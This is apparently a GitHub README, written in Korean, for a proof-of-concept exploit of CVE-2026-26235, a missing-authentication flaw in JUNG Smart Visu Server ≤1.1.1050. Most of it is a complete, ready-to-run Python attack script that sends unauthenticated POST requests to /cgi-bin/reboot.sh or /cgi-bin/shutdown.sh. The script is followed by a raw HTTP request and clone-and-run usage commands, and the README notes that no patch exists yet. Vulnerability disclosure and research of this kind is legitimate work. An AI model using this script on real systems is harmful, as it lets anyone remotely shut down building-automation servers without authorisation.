mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown# CVE-2026-26235 개념 증명 익스플로잇 JUNG Smart Visu Server <=1.1.1050의 인증되지 않은 서비스 거부(DoS) 취약점에 대한 개념 증명 익스플로잇으로, 노출된 CGI 엔드포인트를 통해 원격 재부팅 또는 종료를 허용합니다.
Mohammed Idrees Banyamer
CVE-2026-26235에 대한 개념 증명(PoC) 익스플로잇 - JUNG Smart Visu Server ≤ 1.1.1050의 인증 누락으로 인한 비인증 서비스 거부(DoS) 취약점.
CVE-2026-26235는 JUNG Smart Visu Server 버전 ≤ 1.1.1050에서 발생하는 비인증 서비스 거부(DoS) 취약점입니다. 이 제품은 중요한 시스템 관리 기능에 대한 인증을 구현하지 않아, 원격 공격자가 단일 POST 요청만으로 서버를 재부팅하거나 종료시킬 수 있습니다.
/cgi-bin/reboot.sh 및 /cgi-bin/shutdown.sh 엔드포인트는 인증 검사 없이 노출되어 있습니다. 이러한 시스템 수준 명령을 실행하는 데 세션 토큰, API 키 또는 자격 증명이 필요하지 않습니다.
이로 인해 다음이 가능합니다:
| 상태 | 버전 |
|---|---|
| ❌ 취약 | JUNG Smart Visu Server ≤ 1.1.1050 |
| ✅ 패치됨 | 아직 출시되지 않음 |
테스트 환경: JUNG Smart Visu Server 1.1.1050, Embedded Linux
| 벡터 | 설명 |
|---|---|
| CVSS v4 | 8.7 (높음) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| 인증 | 없음 - 완전히 비인증 |
| 공격 벡터 | 네트워크 |
| 복잡도 | 낮음 |
| 영향 | 높은 가용성 영향 |
/cgi-bin/reboot.sh 및 /cgi-bin/shutdown.sh가 공개적으로 접근 가능공격자 → POST /cgi-bin/reboot.sh → 인증 검사 없음 → 시스템 재부팅 → DoS
공격자 → POST /cgi-bin/shutdown.sh → 인증 검사 없음 → 시스템 종료 → DoS
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)
import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def print_banner():
print("\n" + "="*60)
print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
print(" CVE-2026-26235 | CWE-306")
print("="*60 + "\n")
def exploit(target, action="reboot", verify_ssl=False, timeout=10):
endpoints = {
"reboot": "/cgi-bin/reboot.sh",
"shutdown": "/cgi-bin/shutdown.sh"
}
if action not in endpoints:
print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
return False
url = f"{target.rstrip('/')}{endpoints[action]}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Cache-Control": "max-age=0",
"Origin": target.rstrip('/'),
"Referer": f"{target.rstrip('/')}/",
"DNT": "1",
"Sec-GPC": "1"
}
print(f"[*] Target : {url}")
print(f"[*] Action : {action.upper()}")
print(f"[*] SSL Verify : {verify_ssl}")
print("[*] Sending unauthenticated POST request...\n")
try:
response = requests.post(
url,
headers=headers,
data="",
verify=verify_ssl,
timeout=timeout,
allow_redirects=False
)
print(f"[+] Request sent successfully!")
print(f"[+] HTTP Status : {response.status_code}")
if response.status_code == 200:
print("[!] Server responded with 200 OK - action likely executed")
elif response.status_code == 302 or response.status_code == 301:
print("[!] Server responded with redirect - action may have been triggered")
else:
print(f"[?] Unexpected response code: {response.status_code}")
if response.text:
print(f"[*] Response preview: {response.text[:200].strip()}")
print("\n[!] If successful, the target server should now be restarting or shutting down.")
return True
except requests.exceptions.Timeout:
print("[-] Connection timeout. The server may be down or unreachable.")
print("[*] This could indicate successful DoS if the server was previously reachable.")
return True
except requests.exceptions.ConnectionError as e:
print(f"[-] Connection error: {e}")
print("[*] The server may have gone down - possibly successful exploitation.")
return True
except Exception as e:
print(f"[-] An error occurred: {e}")
return False
def main():
print_banner()
parser = argparse.ArgumentParser(
description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
)
parser.add_argument(
"target",
help="Target server URL (e.g., https://192.168.1.100:8080)"
)
parser.add_argument(
"-a", "--action",
choices=["reboot", "shutdown"],
default="reboot",
help="Action to perform: reboot or shutdown (default: reboot)"
)
parser.add_argument(
"-k", "--insecure",
action="store_false",
dest="verify_ssl",
default=False,
help="Disable SSL certificate verification (default: disabled)"
)
parser.add_argument(
"-t", "--timeout",
type=int,
default=10,
help="Request timeout in seconds (default: 10)"
)
args = parser.parse_args()
print(f"[*] Starting exploit against: {args.target}\n")
success = exploit(
target=args.target,
action=args.action,
verify_ssl=args.verify_ssl,
timeout=args.timeout
)
if success:
print("\n[+] Exploit completed successfully.")
else:
print("\n[-] Exploit failed.")
sys.exit(1)
if __name__ == "__main__":
main()
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py
python3 CVE-2026-26235.py https://192.168.1.100:8080